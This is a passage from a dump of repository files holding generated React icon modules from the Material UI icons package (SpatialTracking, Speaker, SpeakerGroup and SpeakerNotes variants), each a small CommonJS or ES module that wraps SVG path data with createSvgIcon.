    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm4.05-16.59L18.64 1c-3.51 3.51-3.51 9.21 0 12.73l1.41-1.41c-2.73-2.74-2.73-7.18 0-9.91\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.88 5.24-1.41-1.41c-1.95 1.95-1.95 5.12 0 7.07l1.41-1.41c-1.17-1.17-1.17-3.08 0-4.25\"\n}, \"1\")], 'SpatialTrackingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialTrackingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm4.05-16.59L18.64 1c-3.51 3.51-3.51 9.21 0 12.73l1.41-1.41c-2.73-2.74-2.73-7.18 0-9.91\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.88 5.24-1.41-1.41c-1.95 1.95-1.95 5.12 0 7.07l1.41-1.41c-1.17-1.17-1.17-3.08 0-4.25\"\n}, \"1\")], 'SpatialTrackingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialTrackingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66m3-13.8c-.43-.43-1.14-.39-1.51.09-1.5 1.93-3.35 6.72 0 11.03.37.48 1.08.52 1.5.09.35-.35.39-.91.09-1.3-1.17-1.5-2.64-5.23 0-8.61.31-.39.27-.95-.08-1.3m3.01 4.1c.23-.4.19-.9-.14-1.22-.47-.48-1.26-.37-1.59.21-1.15 2-.57 4.03.01 5.04.33.57 1.11.67 1.58.21.33-.33.36-.84.13-1.25-.25-.44-.74-1.69.01-2.99\"\n}, \"1\")], 'SpatialTrackingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialTrackingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66m3-13.8c-.43-.43-1.14-.39-1.51.09-1.5 1.93-3.35 6.72 0 11.03.37.48 1.08.52 1.5.09.35-.35.39-.91.09-1.3-1.17-1.5-2.64-5.23 0-8.61.31-.39.27-.95-.08-1.3m3.01 4.1c.23-.4.19-.9-.14-1.22-.47-.48-1.26-.37-1.59.21-1.15 2-.57 4.03.01 5.04.33.57 1.11.67 1.58.21.33-.33.36-.84.13-1.25-.25-.44-.74-1.69.01-2.99\"\n}, \"1\")], 'SpatialTrackingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialTrackingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66m3.66-13.15L18.64 1c-3.51 3.51-3.51 9.21 0 12.73l1.41-1.41c-2.73-2.74-2.73-7.18 0-9.91\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.88 5.24-1.41-1.41c-1.95 1.95-1.95 5.12 0 7.07l1.41-1.41c-1.17-1.17-1.17-3.08 0-4.25\"\n}, \"2\")], 'SpatialTrackingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialTrackingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.39 15.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66m3.66-13.15L18.64 1c-3.51 3.51-3.51 9.21 0 12.73l1.41-1.41c-2.73-2.74-2.73-7.18 0-9.91\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.88 5.24-1.41-1.41c-1.95 1.95-1.95 5.12 0 7.07l1.41-1.41c-1.17-1.17-1.17-3.08 0-4.25\"\n}, \"2\")], 'SpatialTrackingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialTrackingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.05 2.41 18.64 1c-3.51 3.51-3.51 9.21 0 12.73l1.41-1.41c-2.73-2.74-2.73-7.18 0-9.91\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.88 5.24-1.41-1.41c-1.95 1.95-1.95 5.12 0 7.07l1.41-1.41c-1.17-1.17-1.17-3.08 0-4.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.48 17.34C14.29 16.73 12.37 16 10 16s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V19h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88z\"\n}, \"4\")], 'SpatialTrackingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpatialTrackingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.05 2.41 18.64 1c-3.51 3.51-3.51 9.21 0 12.73l1.41-1.41c-2.73-2.74-2.73-7.18 0-9.91\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.88 5.24-1.41-1.41c-1.95 1.95-1.95 5.12 0 7.07l1.41-1.41c-1.17-1.17-1.17-3.08 0-4.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.48 17.34C14.29 16.73 12.37 16 10 16s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V19h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"9\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C14.71 14.7 12.53 14 10 14s-4.71.7-6.39 1.56C2.61 16.07 2 17.1 2 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M16 19H4v-.78c0-.38.2-.72.52-.88C5.71 16.73 7.63 16 10 16s4.29.73 5.48 1.34c.32.16.52.5.52.88z\"\n}, \"4\")], 'SpatialTrackingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Speaker.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v16c0 1.1.9 1.99 2 1.99L17 22c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5 2c1.1 0 2 .9 2 2s-.9 2-2 2c-1.11 0-2-.9-2-2s.89-2 2-2m0 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'Speaker');"
  },
  {
    "path": "packages/mui-icons-material/lib/Speaker.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v16c0 1.1.9 1.99 2 1.99L17 22c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5 2c1.1 0 2 .9 2 2s-.9 2-2 2c-1.11 0-2-.9-2-2s.89-2 2-2m0 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'Speaker');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerGroup.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.2 1H9.8C8.81 1 8 1.81 8 2.8v14.4c0 .99.81 1.79 1.8 1.79l8.4.01c.99 0 1.8-.81 1.8-1.8V2.8c0-.99-.81-1.8-1.8-1.8M14 3c1.1 0 2 .89 2 2s-.9 2-2 2-2-.89-2-2 .9-2 2-2m0 13.5c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"12.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5H4v16c0 1.1.89 2 2 2h10v-2H6z\"\n}, \"2\")], 'SpeakerGroup');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerGroup.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.2 1H9.8C8.81 1 8 1.81 8 2.8v14.4c0 .99.81 1.79 1.8 1.79l8.4.01c.99 0 1.8-.81 1.8-1.8V2.8c0-.99-.81-1.8-1.8-1.8M14 3c1.1 0 2 .89 2 2s-.9 2-2 2-2-.89-2-2 .9-2 2-2m0 13.5c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"12.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5H4v16c0 1.1.89 2 2 2h10v-2H6z\"\n}, \"2\")], 'SpeakerGroup');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerGroupOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.2 1H9.8C8.81 1 8 1.81 8 2.8v14.4c0 .99.81 1.79 1.8 1.79l8.4.01c.99 0 1.8-.81 1.8-1.8V2.8c0-.99-.81-1.8-1.8-1.8M18 17l-8-.01V3h8zm-4-9c1.1 0 2-.89 2-2s-.9-2-2-2-2 .89-2 2 .9 2 2 2m0 8c1.93 0 3.5-1.57 3.5-3.5S15.93 9 14 9s-3.5 1.57-3.5 3.5S12.07 16 14 16m0-5c.83 0 1.5.67 1.5 1.5S14.83 14 14 14s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5M6 5H4v16c0 1.1.89 2 2 2h10v-2H6z\"\n}), 'SpeakerGroupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerGroupOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.2 1H9.8C8.81 1 8 1.81 8 2.8v14.4c0 .99.81 1.79 1.8 1.79l8.4.01c.99 0 1.8-.81 1.8-1.8V2.8c0-.99-.81-1.8-1.8-1.8M18 17l-8-.01V3h8zm-4-9c1.1 0 2-.89 2-2s-.9-2-2-2-2 .89-2 2 .9 2 2 2m0 8c1.93 0 3.5-1.57 3.5-3.5S15.93 9 14 9s-3.5 1.57-3.5 3.5S12.07 16 14 16m0-5c.83 0 1.5.67 1.5 1.5S14.83 14 14 14s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5M6 5H4v16c0 1.1.89 2 2 2h10v-2H6z\"\n}), 'SpeakerGroupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerGroupRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.2 1H9.8C8.81 1 8 1.81 8 2.8v14.4c0 .99.81 1.79 1.8 1.79l8.4.01c.99 0 1.8-.81 1.8-1.8V2.8c0-.99-.81-1.8-1.8-1.8M14 3c1.1 0 2 .89 2 2s-.9 2-2 2-2-.89-2-2 .9-2 2-2m0 13.5c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"12.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5c-.55 0-1 .45-1 1v15c0 1.1.89 2 2 2h9c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1\"\n}, \"2\")], 'SpeakerGroupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerGroupRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.2 1H9.8C8.81 1 8 1.81 8 2.8v14.4c0 .99.81 1.79 1.8 1.79l8.4.01c.99 0 1.8-.81 1.8-1.8V2.8c0-.99-.81-1.8-1.8-1.8M14 3c1.1 0 2 .89 2 2s-.9 2-2 2-2-.89-2-2 .9-2 2-2m0 13.5c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"12.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5c-.55 0-1 .45-1 1v15c0 1.1.89 2 2 2h9c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1\"\n}, \"2\")], 'SpeakerGroupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerGroupSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1H8v17.99h12zm-6 2c1.1 0 2 .89 2 2s-.9 2-2 2-2-.89-2-2 .9-2 2-2m0 13.5c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"12.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5H4v18h12v-2H6z\"\n}, \"2\")], 'SpeakerGroupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerGroupSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1H8v17.99h12zm-6 2c1.1 0 2 .89 2 2s-.9 2-2 2-2-.89-2-2 .9-2 2-2m0 13.5c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"12.5\",\n  r: \"2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5H4v18h12v-2H6z\"\n}, \"2\")], 'SpeakerGroupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerGroupTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 16.99 8 .01V3h-8zM14 4c1.1 0 2 .89 2 2s-.9 2-2 2-2-.89-2-2 .9-2 2-2m0 5c1.93 0 3.5 1.57 3.5 3.5S15.93 16 14 16s-3.5-1.57-3.5-3.5S12.07 9 14 9\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.2 1H9.8C8.81 1 8 1.81 8 2.8v14.4c0 .99.81 1.79 1.8 1.79l8.4.01c.99 0 1.8-.81 1.8-1.8V2.8c0-.99-.81-1.8-1.8-1.8M18 17l-8-.01V3h8zm-4-9c1.1 0 2-.89 2-2s-.9-2-2-2-2 .89-2 2 .9 2 2 2m0 8c1.93 0 3.5-1.57 3.5-3.5S15.93 9 14 9s-3.5 1.57-3.5 3.5S12.07 16 14 16m0-5c.83 0 1.5.67 1.5 1.5S14.83 14 14 14s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5M6 5H4v16c0 1.1.89 2 2 2h10v-2H6z\"\n}, \"1\")], 'SpeakerGroupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerGroupTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 16.99 8 .01V3h-8zM14 4c1.1 0 2 .89 2 2s-.9 2-2 2-2-.89-2-2 .9-2 2-2m0 5c1.93 0 3.5 1.57 3.5 3.5S15.93 16 14 16s-3.5-1.57-3.5-3.5S12.07 9 14 9\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.2 1H9.8C8.81 1 8 1.81 8 2.8v14.4c0 .99.81 1.79 1.8 1.79l8.4.01c.99 0 1.8-.81 1.8-1.8V2.8c0-.99-.81-1.8-1.8-1.8M18 17l-8-.01V3h8zm-4-9c1.1 0 2-.89 2-2s-.9-2-2-2-2 .89-2 2 .9 2 2 2m0 8c1.93 0 3.5-1.57 3.5-3.5S15.93 9 14 9s-3.5 1.57-3.5 3.5S12.07 16 14 16m0-5c.83 0 1.5.67 1.5 1.5S14.83 14 14 14s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5M6 5H4v16c0 1.1.89 2 2 2h10v-2H6z\"\n}, \"1\")], 'SpeakerGroupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotes.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 14H6v-2h2zm0-3H6V9h2zm0-3H6V6h2zm7 6h-5v-2h5zm3-3h-8V9h8zm0-3h-8V6h8z\"\n}), 'SpeakerNotes');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotes.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 14H6v-2h2zm0-3H6V9h2zm0-3H6V6h2zm7 6h-5v-2h5zm3-3h-8V9h8zm0-3h-8V6h8z\"\n}), 'SpeakerNotes');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.54 11-.54-.54L7.54 8 6 6.46 2.38 2.84 1.27 1.73 0 3l2.01 2.01L2 22l4-4h9l5.73 5.73L22 22.46 17.54 18zM8 14H6v-2h2zm-2-3V9l2 2zm14-9H4.08L10 7.92V6h8v2h-7.92l1 1H18v2h-4.92l6.99 6.99C21.14 17.95 22 17.08 22 16V4c0-1.1-.9-2-2-2\"\n}), 'SpeakerNotesOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.54 11-.54-.54L7.54 8 6 6.46 2.38 2.84 1.27 1.73 0 3l2.01 2.01L2 22l4-4h9l5.73 5.73L22 22.46 17.54 18zM8 14H6v-2h2zm-2-3V9l2 2zm14-9H4.08L10 7.92V6h8v2h-7.92l1 1H18v2h-4.92l6.99 6.99C21.14 17.95 22 17.08 22 16V4c0-1.1-.9-2-2-2\"\n}), 'SpeakerNotesOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4v12h-1.34l1.91 1.91C21.39 17.66 22 16.9 22 16V4c0-1.1-.9-2-2-2H4.66l2 2zM6 12h2v2H6zm12-3h-6.34l2 2H18zm0-3h-8v1.34l.66.66H18zM1.41 1.59 0 3l2.01 2.01L2 22l4-4h9l5.73 5.73 1.41-1.41zM5.17 16 4 17.17V7l2 2v2h2l5 5z\"\n}), 'SpeakerNotesOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOffOutlined.mjs",
